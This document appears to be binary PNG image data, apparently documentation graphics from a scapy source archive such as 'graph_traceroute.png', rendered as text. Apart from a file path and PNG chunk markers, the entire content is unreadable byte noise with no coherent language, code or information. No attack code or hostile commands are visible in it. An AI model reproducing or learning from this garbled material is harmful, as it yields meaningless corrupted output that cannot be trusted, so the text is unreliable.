{FMRo&}ؘHof[6w!]Z DlX&C1)ҵNE 4?wf^& 9G7aI T~S?j*$\ oq6!9WYo`狧s/ɦ3$F>KS֭k6404|Sn,x"2S& 3eՃOpA21t@7XxDD@R=(|I&HZË\YSFIۥZHi7a)%R$$3YuHǞ-ZDݘzPda)^;xKDD@D@D@|H@2ч0Ք.5!DTS" " " "<!N|3Y~=/pWB MI&4v4,?HW偪'p@'@4>Hɂ]@L oHd! ,թ:@4>Hɂ]@L oHd!͟{`uzŐF#" "-wt|9bv_~Y@g6=&N˪_4%QѡY_udXdtdFdlD݈ s b:1k:78f`=^l Ϙ6"usO6M/fos9x `i_K{k0I!!GC L -$|tPevHڐ\ Y>-(4$dvH˷!';rP=b!!#"c.xݼ/LZٳ_ro21 Mc # d_#" " " ! jED@D@D@db}do82Aj:" " " "VD@D@D@D ܾ5jr̙kԨqw/_YeyÆ ͫTRϞ=Ńٙ3g^͛k΃7[MlO>dӦMcƌI>}67n\.]ׯ*E@D@D@D aN&8qbĉ1N'?~|Lbc7|s"4/FV^xeɒ?sժUH%Kp%J4hЕ+W=O<<|ʔ)7o:uFJ yM6[ի7wܶ_|lhѢG>sD/YbDC>a-G,wuw0zW] k׮eݻC=r͛,g$~q8t1ЩxI @1rʄwyUcU /@|e˖K.!X;F￧aΞ=88p iW^Yf95~-ΝsVRF#X?@ׯ_w1.Dar=uMcNQ\=y$ 5j!Ն\ƍIJg̘ѤI3gNQ4իW/2f?'i^UAD@D@D@E %D&f2E3ڵkB4yڴi1|WM4$d}RWkt1rH-Vd"dYoDFFunչ6mZnwC=+8.CM~\:թ@%d"d*FuC{}an7@y*hY*C :ǧ? 'e !Y߹sg{J<2?*e;1sFkxI T /q #\d{60IHy!KSxeeRD(Ϛ5{_S0[IivcǎC>|8.RdGq# " " " "=$\ٲeK , }y&b3V-+K/~Df Y6ܘ1g[a9I'ͺ/dd8],oܸ! |K.%K̛YfqUkT@JxxHj Hj֬igK1^7JdЈ,m5*u{c+Rb)"B^bvMAgw{#h-J Am(2F@Yz;($>ΩK#,[tS& q(jD*bif6,$l+Ygv5*>f 4nROL$qWR%=qZlEls= )Xb$8nA^AR@zΚѳM K 7ݱߡuL]i[{&M}ـjժZr9jZ`m" 2i\rĂ/^'GXѥYҍa+G]2n&NO?=zhVhf"XLZ&CvfqBEZ3S8Qp'2t 3\^mG4hN*pJ_~%\kc h86yGtb*`_m۲5ocWjBZ"9уܶ,:Jw@Y Pf^;O'JљloǓ~(cT "ɮ@L0lsa nSth>sO@D6~?$ٳ>pp‘+Uwxhd̲%5.˛qLkE,lR`L=J\-]sx ݹI{& H=I3S Ha*K/to`غu+ϵUJ<ң9BJD@@E?!ףGws!{n]@7E |ysLkLL6m zjn޼Iڠ{W" " :H/_vs禑ZU,^<@a;tiK?ugZ褡H&Ꟃ@ $c*Ddb PT%" " " " " " " " 1kCs|Gg>|x֬YNm۶ &^^͛k.Ս;Æ 꽙Qx&7n\.]? " " "j W&.uL\l󽔉/^8qb,Y<į)E&z3z_x&U x?`Y%D37:#ȑʇzbŊWU#"  RХfɞ% Py7s=Kq_tL̞={Μ9cGηب^D fky/k/sQm4d.#$7ͣ2e2AȀ]a89f̘ PPܨCD@D@D@CuC5k|vGϞ=qΡ: p,aD={)F0`cTԎ;%~;$ݖ-[̝EkѢE܅f&M:w>H۔)PFD2۷}Ŝ={1?~<LèAL0ScQ⽳w}tݽ{wjVSk.]S3#r1psd'FijhΔ8rڼrOI^˨t*" " " %M6Ř;oAKaV9Ql&4پSC!\;h {mq؉c޴嵁f培dJ##mYww._D%GdWH!M lh5"6h qe˖Tym";5SD@D@D@D aM$˄X꧟~8 cêU2|]Bb=C"0.]J@h,8ボ>}:3Mچ3;#4I'. >fnk8$A-nҥ ofF5x{KWQ3f͚}ߠ ̗/kl1ds\1N&48I&>tP;vDUPu*" " " %pHO,L$.0cgl|#/+hMF< WiWt$i 4eOV.D0Wtvqt燀+x , fΜ7+ޅ 88zrpg"U]'| =g&.Dk7o܂mt"CUYD@D@D@K nbVCrFJxUSvUdEdr h\0%,KR0qbrYH gNel|52M0$XK}L,(3.FM3Lqg ;w$K$]$lݢ{>EoL=hF/:Zx2h^!߿œ3Yk#MvՈ^",j9[%`<&P<^M#6cY_cl6zv]yUe@2įI&t8p`M6E+ӧOw{ܸqTf̘Yi'2~-ΝI>{Y8v؆ N0i`hq~G'OdaFzi.Ɍk۶-[Iu];vܹ1iӦa.]:DSO=u5{ǩYv-r׮]jBenذaO>dٲe)X{3$35:i{I@2DkvYRq,XFv E>ɓeNǜ9s*W|wH1~u SVy3%wu"LӦk5kD26=c܋ )F!C 8A+To 6-ܸq駟ӧOܹMϋ/v҅a/_ޘծ]^zG5D˳fʕ+j P7nl߾}go5jÇ?T2$l(ϘSD@D@D@' 2tu!k֬^M%4 V!!w]vur=x0@Pn۶ Yxq<| 8ޠAu﷍nږ=pgH1;uٳQ~B ҥK¨D4v}GLuTvS6Ba;OU zo+%J8BJ˗8dȐ+W,ZYf vr=x0``e-\p˔)cqȪy{$ e ,D.rŊ4h]FϢKGp)\ש@" 2y. X-K;ȏud7'Nݷ``^z蔆 b!+U=ͯjkԨw1jld"al!͘1-X<%=z%*L/^L2>WIj\Z5YJ.3FH dX8ydΌY\؇cZ^s9pu!v3x%mIaa,ifpYUTqc`Һ`Gv62jн{w۲Y W,[t֫," " "  # D7|og6M,Z3B=!2%rG0̙?pΛ7/NaÆQ km<2ECJ2RWmm!^B dHŊcobģ_1ǑK,i` c?S#rfRXjUvf*@8Y&#9ODc빈 ^&;X5" I%if0[`{2ظqc3g>zN4Xѣo߾?.fڥK?>lk/]Ӳueɒm[&M-Ɂ1C Ո 5d"8VWZ宕Y1(0թS/t.s2={WnQ4z卞IԸŝ;u#x'M'D\}t<vl 3:,:^ƝֲeK_NH:eŊ 鲅5;QWTן/e@ 7o޼{nV M\6˼|Ͼ1~"iTXXT){;X6gN3:~M&e\F dʒAW=z&!Szγr~58܄ƥbAjܽh.fl8bd+b[Re<%aЎvlSI7:ѭ&6Y@DC']ăe_b="i.4Ѓx@8ȻIΜ9C3ZRmYpIHLRwE@D@D@D@W:l ݢE VV\}&NnLzeBzJrV" " " L4xq.c[4po]b1:ŤK-@#U=Ġ5AHĄP=" " " "6Q9 o|Q~դD@$`^gbtFD ʑtM̋N׋)ƀ%]xuh3;` LD@Ͱax+ץK"""rf͚.q"'c8w2 /w܉}SNdbbҽL4mڴE?D@D I ,xto֐!C/e˶]3fT,^^8˝_z{V\țϏzh;DGv!݇dȚ;0"<"*"*C`KdD/=QNŭ%+Ӧmܱ&(|yt92 H&w^9kZGkiS?3z^`;dl臐!!qP㾨6K2wHQ}Y[һw\+lG 81oβv%[֥C]?|J$˙KolnHM?)aЙҥk#% 51Β%N=`p  H&z@@21|IdGH$S! H&z@2qĈ sgrJ.ORt͆ 8}tfq1l2/g'`bE@D@D@F2qΜ9'Nq .>)X|… = o[י3g(oܸ-KHg=?6QeH$m(Cpƒ>[+}YhhCϏM|ܰaU/" " " B@21i̹r2 (0lذR/Lܳgχ~w^^^rgyH"Y㏋-ڵkwq֫Wם1t҄ ZjUhQ²2\Z jӦMNҤIc-/_ZjƌC6 L-1̚)[K06{Ux?{ޖ-[q"0@PrɃ3^"""8E 3Ԯ]{ԨQđMfj,A&L Hcp2\QAD@D@D@$21},FCe͚gœĐqxPHxXgB 4 zUHU’.]::4T"XtDrYH.!y3#ܫW/{-8afkI5 Xt߲[ ky N5qm] +Ƿ};ӥ/]CFZM" " " L$+8ԩ2>_~ܹs 5Қ4i4,c[Vl/#Ag5܉'JcY,IJI}exjV00oA (ķ}\$Y_r%[l;Zl}:hdCǭ " " " "% 32A\GW_}2 P?;4h5#[|y# 6mtŊFYq@gUX1%{.hтi.(;G2H̲Bg}me˖7n )St¾zQAD@D@D@$oob޽&& A*C~2.#M>flC虠0=_بQ#v!݆z*(^3iբid#4K~*eį6; 7mH$n$ {Ӿ5rGbJ,CD1qєy Dn{QAD@D@D LcpB6j!кI׿եKE@0;SFD2.=Zwdɒ֜g vƍgly#~动Vvձ{阥ƚl_epLov!% wp"\M؛82;z(ꍈ Xѓ7oul͛Kƹ_ 2h>|rn,R :ٳg={6WeJHL&b*e2c5U^-d L, ۠t hoWAD@D@D@' 2 @qnڃ 26q^" Qd"GWо{ =$%S";63Ջgi=_UI@21u~A@21@," " " db5kdbtYD@D@D@R'k" " " "8N{׬E@D@D@D ɶveȕ/WԀl{$+ɞ#DIDATyrs#`^"ED]%%UWV^)&TR}\-Ki+ҥ4LLZtm" CjuW0L$$ FuN̢{H5g: ]ioHC0(zL 1qݪvIBVZIҮH2% $k^ cԟKE@D@D@D $Lw@* dMQD@D@D@O@21tKE@D@D@D $Lw@* dMQD@D@D@O@kǟYJcò }F\<}Wm=3腍©v|O ,<t'jDD@D@D@wmSIENDB`scapy-0.23/doc/scapy/graphics/graph_traceroute.png000066400000000000000000002537201320561231000223070ustar00rootroot00000000000000PNG  IHDRY3PLTE   %.'8)( '&3/,&)/6&'26()((7777(777.,14&H:-N1$^HRIix/J37_6II;TT*NJ2oo-^NqRK-P@ pN7mp!Ax5Rm8mTT;HI/^l6FFGDZZWWWPPIZJsUlWKiiUwwSmkp@plUmhhKwwUkkThhhwwwpmrrVVQ9UF@@YSkNzXbFxnqqnnXq{XoO::99p |5k*Mk@@WWXzrruuhPx]9^MX`v`panјytݡO]W` 77Rjju@@VVqqmmIZuu;ig [MQ/$ᾭli{&aiڟ[ۛ@XD8RԾD@#J+, }:@;@XhC~)"Op*tV:Gx!,G\\w\=n7ɮϿP1m^ddܩ(HL;?diw ]`F$C|ҵPcTJf",jx:є; .=uϜ!&CVkxɕQ,g}<@X3Z2a CKupU%[,QG9Ԍy\aYOV5 C m;Š ,@GعJȵ* 9arJHG_%ryF іqdvu׺CXh}A Ou@'^@+|9~L{S ,/yXqȣQ扣ThL mhVI391`3ݧck} ,tEdh"fRM~0îa 3I~zy00xƯ-7=~N"z)}UN/N3߽d[Xmێc۷-:E`ϓf 6l 'EOz 5'"mҶ՛>amd=\4",D*f!QbվHѥ6jY`UgD0Xϛ"+}Aq:0# (hBh)c~@ epIKgYVE攍fE౜"K ܻx^}_KeeK /z^O,kMߍ*'o8~cO"S#J`woZ(޸-?|vrrUʹxhM4YC}`U$G3VU\dQ[UI'?$ |v'ʏ;c9ׄО܏|PeM"OmOe LNo5А.+ռ{@{VYdظ!6D*WaѬkoIaѰ ghNv+3łП ,˻';-  Őܨr~G%4OWb!cK^Td#e a= kQ |jY,~ۄB,c=t6]k@M+lQa? KUNgD^uW]z? WҴ|^z6%d(,5%U]V}iD!V:Q_i%}+9z*#<@XOvb\OB4N\XL ,ǵ%%@ͺ׾R& @{VUMa-MΪOM;t[ ˵U_ەnPa? v-ΩhaompJd(,Qтp_a:g$TXO&GF jyTET,{It.]DlUoNM׋…V];.Gȹo') 9p= KPmw$UՀ^*?@#ɗ\f`Wv`K[JB(>DMf&M]ACjc/ogHXߠDXH Ff6[A-,& 0a a䶏PX^EBkfAUr+_~hנf&Xu+5dY<$V[|aش|.s}J˫[LL+-!Au kKo(ţEtpۅ7YQ$,tic"a5QOgpb,'~tF̛%ؽU{-@ ҏ:a(,z^zŵې_vJx9n[+Ss=kXNeoҰ[Qq|%,H?(/-ŽYɷϻ,ś辊A%D?I7 +'s]:8Je}Xͤ+JVgV_+p`}XTDDh~^t烶||BNwJXqLQ(aUF Z6K:LEqLQ'xSDXoE1p˘iu}`J^f8,.GgBSI¢ ҏ:aC AK~^jqqfCXa 6-+:*՝n~&3 vߋF(,8`jIθ;z;.^Ypkx4j$$3-!>4ń~΃k'gğMV&}tߦ- ⸢PXNjXɩ9qֺΧq$ןQnw5_*(h\»qhV,w5\tA[TZUOOݒ㓟6|{HXzT +iڏ]ys]y'bp4xP'_]XFJGA k7~}ycoqܜU1u]T;ƣJEGJ(kW{Wp07 k_$ 0`%ldQ%##8JGV⮵( ƒsgD¹M+鷯QX%%_>y[aI(aDQ+d\,‚$G4À$,uF= 4KHX~ +9~iyi#XHX:!;G !2(,3gr(9JBH?զ( {n$cAEV¶q*jP"\Xֵ4aӺ)EJMF%hBGaXP"ra֊`,%FEU'~Xv0iL)c0~Zѭ aqa^W\X{Q5!Յ,c#m 8` 'ޖ WON(,54"(+hkyi3K.\%%te;ʊU(Zr`G꒪QEG}Ijh,wi2 ew+;W`3G+1`kWI"3aP(k,3Cٝe`,qK]V @% |1_([ѿеm+B* " FX 6ٝlM eڲ'̷wEg ZC_N]2_# ei`˺bcQ(AkM{Tw;l[^%%,H?ꅵx 6>"~x1a.]6;:>U8'U峼$aDQ/\!HHopcNLꜗzV|g5 ^r9fSy$,H?ʅda+0Ge\Hw6*tu$#hZG`sNf&JWSAj`Aư6TDųf( K6kQN:͇v,W A$,.7͵!5?EbBb)g4-#fhNd*[i͐k*:IXzԯap Kښa)GH3pJ;ɳ-eHe)>ek].iiAז+U %,H?$Yl2s'I.u`F؈44`0>VP'ڋ :N,;+'lq;6v%*IX~ID8,ɪ}KHGKX+tsNxkb_Q"#`vkh]Vs+Y)A"͕/CFW[ByGJ(aDlr㻚,[T,hb_Ҷҫ>,H?U] ~-kyU`gzykr1 7PeR"\X[[`ǨOƣ3r;NTgS +- kǧ}(| l5xU:A Bf ңD\D}^KH1H ,([څ"V"0kyެI\~}?of߼_ VՌM"zY۞yj.2U\w\opdn/W|?Bc$  8XX;Sܾ<7Xp7ͩ3SqN&nJܙ4:ta}h2LǞ%n7Ka8 b(V2 եBXdRa[& ,b%L$h!>><v?!sWTYهRX톉84-'VXMt#>vLBj\9i/Sa}(0aYĻh<+=;~t  fL4km 4Ĩb-) a}eXbz/:4d$²]zR>LVXkȰ8 ORS4K@XxȄJnZa%Z6A L8t@Xd2a-4mhK][+Le :mB>t²7 SeKݟ/ a]4OK (JLOi%K Ԧma}2hpR9+NL =$ذkII%$w=,)sX=Mt]>8M6}4gWׄO-ſ..3ǒ&ֲxJ",@Vv=lu+Vt -Z:ﻜl/(.Hd;۞Qڭ(5),= B<<_<_7AFq@(9驩(ZB2;]XW2fan7I(@!"% 3UVԞڗ>N~TʨB>swbqC)V2Ш%,KZ,,q'XJX?I_ɚz%W$!2,2; z]RX<ܭTtwkgçcT~%ɥ}]wP@Xh_aCt64VBJϕGMwB圾̲r<ByqqA z|/B1ySխF;?@pQ&Wd" t#TZ>NyW6.ǝ5Lw( > 5\.3'^8sT=Xnl eeN\OM><+>yFVxA*)oj-/\<+r/;kBJ!,23bam9a^pT$,^>jϽ%TY5~U[+FʯezPXa}{X_=_/3RXy˟~&UXP}>rY z~]=QPdXdjaATIe'/0TeWU̓hB4qB!,V~ g!0cω /k)>w_~7<6?{Ô`psم{'?<͜9ҫD@98eb:up0x鱝_ koJR(h>?lNVJJHٮYPpa8lK`ټ?C>,{8NYHa:68<&hz?G_c'źꘞ$:;A~stuC?2 lmYJdW #~",~JhwE;MBC Oy?H5Hn_+v\E~5grQ  Ou;2JCz~]u"IS$7ax|tթ#^TN@C}x pa@雰>^j5o~VBIT=%$V}mS_:S٨T6+@X~"?TTjUO|ay=a A@?Inmt4#_Xuk{Po2UȰ`\X3k^f\bXx&sKԄs޲_^Gz6ƍb<:W\*1a5x]WLa~-o1?M7AW[Wb$/ |%jJcL0aS b7 Ȱ WXo?ygժ ],V_EGJD06vYLF kp/^koa0aBQ,7w=l2YZ*d~~N>/[]_dԷǘ>cG/]2]B} kasכd*(Z%L~ʣ~WK2ZfTW5C(`w rN׉(DC'nU ᫑ڹ^ª&}e\ͬ)TfϦG|Of窏P1_Q oȰ %\P۶NDZ-f酆w(mBXo!˿~:`;i'#l t;/=A÷W0`aL~caliBC2qRHvj. wN-τ;^ɝC) */'rhuwP@ JE"AQ:iy/iP;U(bSJ&ly'TW<誉z;a@ mJuQ^h:b+ҙ)>J֢-Q_e,P;MXթMO{F\ınWad"S~B섹б6!p@X~ZUݴ x I[ӭ8MY9n #] ,?Ma5=R QRڲnWvoF62ALw?ZXl,gyQJDw~"tZ/D'?CG ki): TW6]P%U-;}dX ,?JXxImZ@KEiw^")O G^%!)nb`v!EYhdి영8Ma'Pq,EmeGT ll=cSNew؄l8`ve-MM #dіL&ԵX4NT(MFd"Զ]YM"jGڦdp bg`56?={`ccٟ?P5+̵&?Ȱ a#9k!' %,&&Jo ߈%L h mrE ٭}*-0i>Ja^J#G]r!dX~TXGw<"@ &Xx(؄Xϊ!4,bEHMJݟ#5X "Đ܌|V=)nFK2EH\jUd1,n#L!|9ז&Lh$M";Ȏܤj@J#bȂ\DmEIg ,W2A HdcWNTvÙ;dHmD6.-(8NXuR%,ؑmBulh2Ebuy&ůJQn =k<\EF)LIhR$ -Qsq `֋IqA_җsqRqﲉ J.H3;3K+YdiA3;3 ~P,$$U Ÿ̳Rep٘)*f 8ŰB]%.0Kyؘ?1wȰ'꽝F\1cYOcL-UQQw)a틨;~OAA%!L$6Ԣ*j7̒ih49\hPc݀(>Y_'9>^Cqg~eepV '.:+LŮk`1,?z54@l ˞14B]e{u̾(_Gx;bA6a55վ YNX%a-RxբC+HTOǹE"k [ ZT(@AI%><+  OC(j14Κ[menޠ&&PB_  MpH^L[wwZ1 i8'$gL)1Ky\Tz}j)_"t>T_Ҙ`bK=Ṿnw1_?Hub/ 2$^nIırP?НЩ4a-s_, >@PpjNϪ2_ןa9Q+?3|vJWkKaj0$# KK/߶[SӺ wӛǪ@`Zxi5u^t} 4QQfڨ_BYWVسJeÛ] Oº&  kDoҟL_|1Nn%yrGAXڏ䍰#T~J k+k\|nL JGɊ'ӯ[/eTi [7s )7*E w -,3vM*ʪ0~kN s>niUy^4 dX֞*|E%#c32zuF͗=u%/`[XL/2.דz*?4fb(Қ=, W@oaoޒ%zzl䕲STxȋf^X^k\BMڼU6 RYN~Aw? d΋z{ 덜.P֦*Y֖Ӳ sxa=VXMSX+%1)'ew2jkѨwB oMXFVܜ\󤢔ժ}.! òQƴQ"z(2,?]XV!&Ti E@X޻ܺ/'e/ܘ3OV\wX]B?KX%5s-ZtޚQ5fdɼ_L98,ayoR32XӚcZ-sqsxaDXk2nU4e9a0'{j΍c5>}{[cK͋ո6 cN+2j@<֓* _ K_ mJ_҅4LrLZjtrľ! O*qa]o]ksKe&,1T/3wQHEflUUy,9c@OcX\Xzaʃ0_}τ%r#zB^)k J,7Z>uO ^$X &?7rutuqa$WO)gXp-YbG#e{ypl^[sGfVW_<[YY}ڨNM5JLdHuKi W@ؘ'Я/ɮ#X&} 0SX۵;b:F04> EX*],.oi˿$J"85<+ lggӷ Vט^=].?f-`o;.!nz| !44g͑DT@hxzcp2xFDt}Y?(P+OO cUY7'Wt G EJx@ːDõbbR3UW B]X\(9h0L>ÅԬ(B)G%Մ-r$)’/K{ִ=͢K Qws8;7k x댛 ;kS(],b*]ZŘ.uXŵPkcØt\F|HIXKYB1 p5pIx:Fji S{R-jfͩoؕ-ƽ0;tGd=F ,?F[j.?wڡ'~f|ԭ֡)иRg}ͭ 3 X ,?JXfkh5:D >v1%ܳ'k%L-Z \6#d0 ֊S&~ nM :X nB&ui{m٧3dR[ =#a,Ȱa5QBFDx.f #F}ޢ9:Y/b (oEcvio?%xQUsMc\ ^^ɂz-JX'0eT kE X>EJ!Ed{;j#G.mMaPF$FO/:&Lja`Ĩ&͉]5^%qfu" B\$^XQdn^N+m5e@h^9o)-s$8o,W.o/s)qy1b iqb I [pj/b!пia266f"s##g;Gҋg+nv8 .\>o';}m.o'X@t%Ҵ0 \H 8xw$djwz߷" 6+Ic͟l4X`2 &",,)W'!tWǰ̠)Sm_͍ Jt wjWw&؜>2R6f(.'I]t&v7KFP ʻE"OV,g)P{p8 %3JZmJ (>lEm 2e!$ӑv_սi;O^XH#(1xr+/ aU?nqd+ Jnƥ$WORd')iuOJVIY+^StdrZfQSީ`HGFHtu5>s4mkJKKy˚pV<@k#:@_<6Z=.=PrJw؊n`UKieZXL (t7_Eӟ~~[x} WT8%Wa+5[=Smù{5 `˔'_e< 8??'/7.֐H(i("oq#KZ,evt3Ȣ![[+tW,2Z ;Z?`˔!!"Xk/?kk{pV^pZq,k-XY5QIxXYơWY#Wj3k M:@E4D2_ UGMnI::W6WTNa׊YlW. J;NMF[p*ux!ɚy'*1k p up4 +J$u:UQ0po=grror b1mbbb?ς%3rU.NDމ3ϯvw6XL!WO.>?tgYÓI ~jꯎ Dl6N< ;wܯaqҭ[]]]WW׹sÓp.=V ǧARl*hS}tYx.Ư R/|?-frU$X;F:FQ0‰PyM25ue\Н/@É `<\`1ܒv0`3WpѮ]szIa+4%RB$ /U@#0LP$ 9\\x d 66vVnvI{j:Z'$yǠ5*YQhiMq!J|ƈnx0kPYNS;+Þ i'3Ћ2q_ G9Z(@8!+݀iazJr#c3֡h(kE׭VFw"J^;wpa ʱ:APL֔.V8 +ޝ+H [ya}PS[9 fgn)݉9nTU7E DեrOeuDQa(g_ A=`d\T˕j #hg<>s"-9=z%$; IB"_.f$sL: #h #ZiTrES=h_76k`Un7|k<,sqAwfEWNc9!KI?;`_J Xydd!ŶYM#rT'<gX˃yD-,"B*Obǎ ,Hw|+׎mJF/ەՔêV Ǭ!UNۦ\.%.|mhχ lj-XkatNU]!tlt2pL8fUH Ja)i_A!~p r gD&L)o}Bmh+-i--sa~skVz(͘,jj:i J#r=0jǍG6 M77 Hwm9}4_S`y ߊ(6 2l@N,%x4Nq3StͺZ*ow[KolǕ'|PH)Z*[BOu-VKr҃iAnJ?Bq.l5^>} :@'P)c\@g1u+-73\5|wggg߬(޾{eLps%tR~y|HxU!Wӫr'Y'4pE²X*C'oˉG//WB/-kvv\\>8q}7Լ`=:VڡvqkQ`N:T}Z褜!Ld,qu$5| n~}6!Ϋ@);6b}$c E{t;9y0彃wCR&я[i XGHa"]} 'TC?%z,,_,.?ZtvbV BJ(X~y( '4^=&z[jV"UCx/{c8q=`M84R,++i*++kl~GIkpxzgG^\AybC|68PF8vGa5=Jϯg[; euXK8r}>>wDE÷oI²C noX&}~R=;W}o5DQ\^#V3*H,$IG=̇OZγr^!" Q Nl%`=ΐw{X@y#ϣs<ÒBO>#N׈V8ο^,aʯ5R ^kKxvO}i=ߟ|#r KB*/+_H挢'h3Jߥ'\c=" ƚ] 礨D^6Qxnx\:__WVv Qr.J7~ϯVyGzt7_>4JJޥRBJKi[껷Wqʺca9Vcj 1+ELY+3Y'\pfͬk^aU|TZseXz6h~%80^ K"> 4x/vE`ϧJGj)\dB]evXy8G*Cfn4Bܺ\B`=+@bJc$AFH{`yLյғtELِ螅e;ZѐPLUDM L-Vqy⹦ibtވ~䊷?_LUaPH%鰢;(qUP:&*fjv`>2T-xiR o- 37Kr%od%D/@zЂǥ`X+ Tefqa3e5g.b\uΙXyvDz.+.M7dRU×`Z Jx,7B5yZR }k J7 5:_4(TE %׳l']Hk(8b\v SgZT§{=I=Un%M.fsrl%8bTV+8IJNIU I;TaTfĪш,ۉ.azx2Ԩ7LabHtz QFd}[5x*c6AWw3YMD&/U7t1+3i3~Vfl2H:k=U=vby[cb@J)z2[:jMU/e.a5R<6bUV]%eTk@TqǁUD\TK4-it $ dL$5>olģYR@^KgaNڸT}C!d\&$D:BKiRR0 ~2̇.. #PY*`Y,r=ȓ}u.'vc?8H]"89oIxrZgHJW.nj?>uP#8fp*"`pD#:x'T[F9礩~>B4U K;8 u@c5?8 $ۨ !UYP+4nbq}MS+izגWjڇ# pjwlI7"6|[বv >|TU͟qH!&clQ%pDP@*1>"DLFt0&VF_ahV'Dp=l2D. "D:ø倜@h<ǑL8YeF](DQ,a poYtTc8^uHTGO,%>XRlzLj% `VEA;F7.ĖCylVv':6 U(L%3a#5ƀZr 3\|?'w!X8UljN7 akK%k$ ʮC\9l=DaYS_',R{ D,V(v,psQ'M8kbbbH7[b`+q(!Ax{Ͻ4> J- 0DE!ah(50DÆieQ=;81#+X_\׳ zTNUxUOZX9O%JI$8p@7T$zN+a0QC8섫< '0$BN 9n7^cA]BX[2 G$J+D`EĚ"깄1,;|> Rj72I,8Ҥ{AXbq S`[alnZXVN<'{l$vVܑʘh-ghgV>|P=@bX=`NZfG,,8Q:'S)@e/ l+luA̫aUAS0"bXLP%`˘'Β"y,W/N\2:j@9uq|#JTX~jvXiF XX<& בŕP8jN&Y`K;+n4 c dɕ,uG)CW<+((m')t)c;JR3dQR% )a[\Cs Nҭn=}o$ҝO}1')Qi$X!Aʘ]*~*OOq:9<ZDjia0Ǟe;~,az@؀šѯ YCfS($z霷0>0QeJ-(*I6,D'+%t9T S%ӢNxfľ2L||OE,|龬,IW#%tX28-"y'B@Fܢ2XDq͘$[X7~P7:B(&tY2[Ci01[N?cndRy-P,Iw( _tX51 /}-/F s&\.Q/H*'1F =υZGj^"=#kjeqjלC2T&M9&tte;IuiʌX5N(]#Aw.3׃,kft[\NTz=b S0k=80^1J*?&rg'jjHe;=*hn-n1LZ{Jh;R Brf6RشB(]TgfyxKV%dEC{ahCY1~̅VNn"O T=44BG'UD#{ y{tw]]?^rPe^4taz>wV. HxąT neYhuS?xTa΄ĺywX+Uf,,Iw%Í10Yxv!r]i m\ZDTXOsL\澐':؞Kz*7H40#x=kRA)zwٯ^]7}Qsy1el'X۽'6:ͮ_*\num6U~ W-nT[;-Omb_-C=C; kR~ MʋFl6{ 0+Q|M`}|-VfVut-pXvnK;fu%I. X*-uX <=>^X>%4b`)Ujl'X^i~mcRX%pԬIpGj`X_cWzXjN Q@J@hmjnVJ\^^Wr}o3ټ$e+|K-uX?v߾rcwQWzjA^5(xҢ*7Վ3+um a:KO|jvwQXy`EWT2GVe҂V'n^. Q|@Ugj3i^SB +%㽖kŋo6?vDzjAQ k_X}RrO;=kI?V8|& ] kJ XZ͌Bu7[;>O\_R(/ܗ+mrzm_u `>@U`ph'q>Kܚ{_Nz hPE%m.1ݱv["q OzjAQZL0BT>Tú_e,u;kWW2j(Re5dEeS/x~u~263\6L%Vo;^o:u+ŰS'X{_A;owb{벧<.jՔ446L>;,G_lFgc+~赈Ud!OΫʴc4N,.z Vppa@uZ`ȁ'7tt[b-厭lEap!9~Ù]`5!縄p;S_n4O:,owO ,[~?];q=euXwmc"e7MRt`Y`Xo53,wBDQQe.$Zۡ%am/f]–k&jzWt=*a=l#>~bK^/HUo^\--e3pz/ h)67{FU^BM=N2^[$HՇ_on\`ْs.Yu߼tkZ,9 XOYF!}v &T ,g9.aˆl{G7e Lާ֓:H}leE`}( y$X`XQez ,[rK kToc~ (`=.GV.E`=,K@@NvqeKq d.Tpwڰvse_e`pǸjXw~ ppeKq S&`YKؒxXU=ovS\`V ׭TZV#=f7u%Dja!X:ՇNjNnM?4se_e`]rYV#= z;θ%DHuhѢ<4u~&`Y٬-bTN h{IE4j! ,[r\¥P?q_L~x|zcwQX T*dЅ*T$ DQζ.l9Hr<,=ɶzkJz|۽w*&:XH`}`ݏ-Ilma` yф\`ْsSƏcX; ă=Φzh?ܨ|ÀeDx"V6kK(JG(X<#xI(͛(˖3#ZCN-4gºNc?P7YzvQR6YX@NIJ"J図w~\`ْse`?iƫ{ SjwCr6+gU]׭ j!4<ʧ.l9eӮҴ+~8V@K>j/-VM ˖3pAWƋTw Nֻy}aZ)mT,`ݹ%|z ~'Z e`-f\`5c\B;Od>䥤1v^h`{;֥_nW?QN&~=⻐ Flx$Vwk*1 o^}j{oU]ﮅeKyJW?a<)X X ρ6)}tiN\N ,v ׎uX.UZ[X-𿏻[˖"!0XxXS]cS|+Sٜ|캺\b`2V)X%V -9f.m ,bv,\Fs|¦nX^ygF>'K}޶b`uXa`ዌƹXֶh@;gϞ}~sqeK$J`a^GQ}X?nW~[.s"SS/[VkW_)իvX`reKK}taN,w@ Wqp/0.0,U4W_%7ܛW-̱ 7_uuyX.l1pGvPz܄k(t ?|}Bx{eri#Ŧp5%:>~֤dYQ].lAR>m8q/ΧkhLcޣI"ύ|>"0z񯧶?,b6~V !SWLΌ{SOɏyA\B wܖ1y࿁s/J>Ep x|Afѽzs7O2n83 |peKRvBy}(<DVPoXCQǡ4@k%igGD"x$08^})|O ,;}1wIנTg+iG§}8uz=`[4?' -E# E㰛"K<4O..-uwh1'/Fpxte3 beX,7pȵ P;f()`ym䓫g"dg^N&g 5?7z㥯jӹ%ry^d "pnkKFCXbFz-_Ck镥D, =Д(1K|iFͽ+d/Qeʸ.2&>;@Ք1>j"UVKP@j4 ޕ$  gW `)uʚC^:SRC0n5`dE08 >saX]U3\`R\Be0P˙*Մ!0hXXx]~.|$cIlURGK,U D d8wu}ڗ<( Wi懁o5hZ[>VC/Yt ,[JG_$n]eLfVl`"q |ے,a _ *PR!UYWpkw vLm!8[%ҎDM4IF#neVle1:pΏAa)TT,EJ`q?]UB'L@8cseݵ,< A!%awbE+'R;=pG'].lR|^z>@50f`ɞHKe r4>EϘ;ح \S$ٵ$&`ɖp+=pbU{Y!^\`R;saGz1ƽG([>"wNo9֗ЕL"֤<\5vh Hr/hP:TXͨyjf7Tqla{jdMuVdߓ ʥ#&%cXR\a-AZ䁪jJu /K1+k4<Ͱa$F`"0gXxi*3fG{,I͔q ]D@ GO& _Δ;1}VМVWI/ Oҁ 8gIj.\41 pٻj[ 8r'gL|7JBO0ͧ]j9ȒB֏ʥbt US=+$g/BQ^j%-N4M6\KЎ$÷K'E*vӮ ,[$D0Y2~ egGY6F ض}6^ ˆ=^/׋륭@C㗠<*2x1Cڎ(bD&E<l9l|#i@}E\d'5FXCw ?H=5[86 D0yt< -_~D0Q,Q ;\l˯izo؟1BOÑ%P|0"|J@%g &Iӆ.LQElf"?6bFWvYt2U(zX?L(/͢ =j.)# }\IsNQ1=A&_U2+;8 +ȳKA}JͣXL#aBj > cWRjݤX(0z"&9 